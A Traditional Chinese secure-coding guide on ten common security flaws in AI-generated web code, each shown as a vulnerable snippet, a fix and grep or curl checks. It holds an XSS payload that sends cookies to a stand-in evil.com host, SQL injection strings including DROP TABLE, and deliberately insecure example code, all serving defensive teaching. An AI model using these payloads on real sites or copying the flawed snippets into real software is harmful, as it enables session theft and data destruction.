為什麼 AI 生成的程式碼更需要安全審查

AI 生成程式碼的速度快到一個下午就能做出完整網站。但速度快不代表安全。AI 模型在訓練時接觸了大量範例程式碼,其中很多寫法本身就存在安全問題。

更危險的是,AI 生成的程式碼通常看起來非常專業——變數命名合理、結構清晰、有註解。這反而讓人放鬆警惕,忽略安全審查。

飛飛在測試中讓不同 AI 工具生成 CRUD 網站後端,超過 70% 的結果存在至少一個 OWASP Top 10 等級的安全漏洞。最常見的是缺少輸入驗證和硬編碼密碼。

以下是 10 個最常見的風險,每個都附上 AI 容易生成的有問題程式碼、正確的修正方式、以及上線前的具體檢查方法。

風險 1:跨站腳本攻擊(XSS)

AI 經常生成直接將使用者輸入插入 HTML 的程式碼,沒有做適當的跳脫。

常見場景包括:留言板和評論區直接顯示使用者輸入、搜尋頁面反射搜尋關鍵字、使用 innerHTML 而非 textContent。

AI 生成的有問題程式碼:

// 危險:直接插入使用者輸入
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>搜尋結果:${query}</h1>`);
});

攻擊者只要在搜尋框輸入 <script>document.location='https://evil.com/steal?c='+document.cookie</script> 就能竊取使用者的 Cookie。

修正方式:

import escapeHtml from 'escape-html';

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h1>搜尋結果:${query}</h1>`);
});

檢查方法:在所有輸入欄位輸入 <img src=x onerror=alert(1)> 測試,如果畫面跳出 alert 彈窗就代表有 XSS 漏洞。同時用 grep -rn 'innerHTML' src/ 搜尋前端程式碼中所有使用 innerHTML 的地方。

風險 2:SQL Injection

AI 經常用字串拼接的方式組 SQL 查詢,這是最經典的安全漏洞。

AI 生成的有問題程式碼:

# 危險:字串拼接 SQL
@app.route('/user')
def get_user():
    username = request.args.get('name')
    cursor.execute(f"SELECT * FROM users WHERE name = '{username}'")
    return jsonify(cursor.fetchall())

攻擊者輸入 ' OR '1'='1 就能取得所有使用者資料,輸入 '; DROP TABLE users; -- 甚至能刪除整個資料表。

修正方式:

@app.route('/user')
def get_user():
    username = request.args.get('name')
    cursor.execute("SELECT * FROM users WHERE name = %s", (username,))
    return jsonify(cursor.fetchall())

檢查方法:用 grep -rnE "f['\"].*SELECT|f['\"].*INSERT|f['\"].*UPDATE|f['\"].*DELETE" src/ 搜尋所有使用 f-string 組合 SQL 的地方。如果使用 ORM(SQLAlchemy、Prisma),風險較低但仍需注意 raw query 的部分。

風險 3:硬編碼的敏感資訊

AI 在生成範例程式碼時,經常直接把 API Key、密碼、資料庫連線字串寫在程式碼裡。

AI 生成的有問題程式碼:

// 危險:API Key 直接寫在程式碼裡
const openai = new OpenAI({
  apiKey: 'sk-proj-abc123def456...'
});

const db = mysql.createConnection({
  host: 'db.example.com',
  user: 'admin',
  password: 'P@ssw0rd2026'
});

一旦這些程式碼被推到 GitHub,任何人都能搜尋到你的金鑰。GitHub 上每天有數千個 API Key 被意外暴露,自動化掃描工具會在幾分鐘內發現並濫用。

修正方式:

const openai = new OpenAI({
  apiKey: process.env.OPENAI_API_KEY
});

const db = mysql.createConnection({
  host: process.env.DB_HOST,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD
});

檢查方法:執行 grep -rnE "(sk-|api[_-]?key|password|secret|token)\s*[:=]\s*['\"][^'\"]{8,}" src/ 搜尋所有可能的硬編碼金鑰。同時確認 .env 檔案在 .gitignore 中。推送前用 git diff --cached 檢查暫存區是否包含敏感資訊。

風險 4:未驗證的套件依賴

AI 建議的套件可能已經過時、有已知漏洞、甚至根本不存在(幻覺產生的套件名稱)。

AI 可能建議你安裝 npm install express-auth-simple,但這個套件可能:

  • 最後一次更新是 3 年前
  • 有已知的安全漏洞
  • 完全是 AI 憑空編造的名字,在 npm 上可能被惡意搶註

檢查方法:

# 檢查 npm 套件的安全漏洞
npm audit

# 檢查 Python 套件
pip-audit

# 確認套件真的存在且有維護
npm info <package-name> | grep -E "latest|modified"

安裝前先在 npm 或 PyPI 上確認套件存在、下載量合理、最近有更新。週下載量低於 1,000 的套件要特別謹慎。

風險 5:CORS 設定過於寬鬆

AI 在解決跨域問題時,經常建議直接設定 Access-Control-Allow-Origin: *,這等於允許任何網站的 JavaScript 存取你的 API。

AI 生成的有問題程式碼:

// 危險:允許所有來源
app.use(cors({ origin: '*' }));

修正方式:

const allowedOrigins = [
  'https://yourdomain.com',
  'https://app.yourdomain.com'
];

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true
}));

檢查方法:curl -H "Origin: https://evil.com" -I https://yourapi.com/endpoint,如果回應的 Access-Control-Allow-Origin*https://evil.com,就需要修正。

風險 6:缺少速率限制(Rate Limiting)

AI 生成的 API 幾乎不會自動加上速率限制。沒有速率限制,攻擊者可以無限次呼叫你的 API,造成帳單暴增或服務癱瘓。

特別是串接 OpenAI 或 Claude API 的後端,每次呼叫都有成本。如果沒有限制,一個惡意使用者就能在一晚上花光你整個月的 API 預算。

修正方式(Express.js):

import rateLimit from 'express-rate-limit';

const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 分鐘
  max: 100,                   // 每個 IP 最多 100 次
  message: { error: '請求過於頻繁,請稍後再試' }
});

app.use('/api/', apiLimiter);

檢查方法:用 for i in $(seq 1 200); do curl -s -o /dev/null -w "%{http_code}\n" https://yourapi.com/endpoint; done 快速送 200 個請求,看是否會回傳 429 Too Many Requests。

風險 7:不安全的檔案上傳

AI 生成的檔案上傳功能通常只檢查副檔名,不驗證檔案內容。攻擊者可以上傳偽裝成圖片的惡意腳本。

AI 生成的有問題程式碼:

# 危險:只檢查副檔名
@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['image']
    if file.filename.endswith(('.jpg', '.png')):
        file.save(f'uploads/{file.filename}')
        return 'OK'

這段程式碼有兩個問題:只檢查副檔名(可以上傳 malware.jpg.php)、使用者可以控制檔案名稱(路徑穿越攻擊)。

修正方式:

import uuid
from werkzeug.utils import secure_filename
import magic

ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/webp'}

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['image']
    mime = magic.from_buffer(file.read(2048), mime=True)
    file.seek(0)
    if mime not in ALLOWED_TYPES:
        return 'Invalid file type', 400
    filename = f"{uuid.uuid4()}.{mime.split('/')[1]}"
    file.save(os.path.join('uploads', filename))
    return 'OK'

風險 8:缺少 Content Security Policy(CSP)

AI 生成的網站幾乎都沒有設定 CSP headers。沒有 CSP,即使有其他防護,XSS 攻擊成功後可以載入外部惡意腳本、向外部伺服器發送竊取的資料。

在 Nginx 設定 CSP:

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https://api.openai.com;" always;

在 Next.js 的 next.config.js 設定:

const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self'"
  }
];

檢查方法:curl -I https://yoursite.com | grep -i content-security-policy。如果沒有這個 header,就需要加上。也可以用 Mozilla Observatory 掃描整體安全性。

風險 9:Debug 模式留在生產環境

AI 在開發階段常建議開啟 debug 模式,但很多人上線時忘了關掉。Debug 模式會暴露完整的錯誤堆疊、環境變數、甚至原始碼。

需要檢查的項目:

# Flask
grep -rn "debug=True" *.py

# Django
grep -rn "DEBUG = True" settings.py

# Next.js - 確認用 next start 而非 next dev
grep -n "next dev" package.json

# Express - 確認沒有 stack trace 洩漏
grep -rn "app.use(errorHandler" src/

在 Express.js 中,生產環境的錯誤處理不該回傳堆疊資訊:

app.use((err, req, res, next) => {
  console.error(err.stack); // 記錄到伺服器 log
  res.status(500).json({ error: '伺服器發生錯誤' }); // 不回傳堆疊
});

風險 10:缺少 HTTPS 和安全 Headers

AI 生成的部署腳本通常用 HTTP 啟動伺服器,沒有設定 HTTPS。加上常見的安全 headers 缺失,整體安全性很低。

上線前的安全 headers 檢查清單:

curl -I https://yoursite.com | grep -iE "strict-transport|x-frame|x-content-type|referrer-policy|permissions-policy"

應該看到的 headers:

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

如果使用 Cloudflare,大部分可以在 dashboard 直接開啟。自架 Nginx 的話加在 server block 裡。

上線前的 10 點安全檢查清單

把以上 10 個風險整理成一份上線前的檢查清單:

  1. 所有使用者輸入都有做 HTML 跳脫(grep innerHTML/dangerouslySetInnerHTML)
  2. 所有 SQL 查詢都用參數化查詢(grep f-string + SQL keywords)
  3. 沒有硬編碼的 API Key 或密碼(grep -rn 'sk-|password|secret')
  4. 所有套件都跑過 npm audit / pip-audit
  5. CORS 設定只允許你自己的網域
  6. API 有速率限制
  7. 檔案上傳有 MIME type 驗證
  8. 有設定 Content-Security-Policy header
  9. Debug 模式已關閉
  10. HTTPS 啟用且安全 headers 設定

這份清單可以存成 CI/CD pipeline 中的自動化檢查腳本,每次部署前自動執行。

常見錯誤

AI 說程式碼安全就相信。AI 經常在生成的程式碼旁邊加上「此程式碼已考慮安全性」的註解,但實際上只是表面合規。每一段涉及使用者輸入、認證、資料庫操作的程式碼都需要人工審查。

只測試 happy path。AI 生成的程式碼通常在正常使用情況下運作良好,但在邊界條件和惡意輸入下會出問題。測試時要刻意嘗試異常輸入。

上線後就不管了。套件漏洞每天都在被發現,至少每月跑一次 npm auditpip-audit,設定 GitHub Dependabot 自動通知。

安全與限制

這份清單涵蓋了最常見的風險,但不能取代專業的滲透測試。如果你的網站處理金融交易、醫療資料、或大量個人資料,建議在上線前進行至少一次由資安專家執行的滲透測試。

AI 生成程式碼的安全問題會隨著 AI 工具的進化而改善,但「人工審查」這個環節在可預見的未來不會消失。工具可以幫你抓到模式化的問題,但業務邏輯的安全性只有理解需求的人才能判斷。

台灣的《個人資料保護法》對於個人資料的蒐集、處理和利用有明確規範。如果你的網站蒐集使用者個人資料(包括 email、IP 位址),必須符合告知義務和安全維護措施。AI 不會自動幫你加上這些合規要求。

知識檢測

讀完文章後,測試一下你對這個主題的理解。

常見問題

AI 生成的程式碼一定不安全嗎?

不一定,但統計上風險較高。AI 可能生成安全的程式碼,但也可能不會——問題在於你無法從外觀判斷。所以每段涉及安全的程式碼都需要審查,跟是不是 AI 寫的無關,人寫的程式碼也一樣需要 code review。

用 Cursor 或 Claude Code 寫的網站比手寫的更不安全嗎?

不見得。工具本身不決定安全性,使用方式才是。用 Cursor 寫但有做安全審查,比手寫但沒做審查安全。關鍵是把安全檢查納入開發流程,不管用什麼工具寫程式。

有哪些自動化工具可以檢查 AI 生成的程式碼?

Semgrep 可以用自訂規則掃描特定的安全模式,ESLint 的 security plugin 可以抓 JavaScript 的常見問題,Bandit 專門檢查 Python 安全。npm audit 和 pip-audit 負責檢查套件漏洞。建議把這些工具整合到 CI/CD pipeline 中,每次推送自動執行。

這 10 個風險的優先順序是什麼?

先處理能直接被外部攻擊者利用的:SQL Injection、XSS、硬編碼密碼。這三個修不好,其他做得再多也沒用。接著處理 CORS、速率限制、檔案上傳。最後是 CSP、安全 headers 等加固措施。

小型個人專案也需要這麼注意安全嗎?

如果有使用者登入和資料庫,是的。即使只有幾個使用者,資料外洩的責任和後果是一樣的。台灣個資法對資料規模沒有豁免門檻——處理 1 筆個資和處理 100 萬筆個資,法律要求相同。

延伸閱讀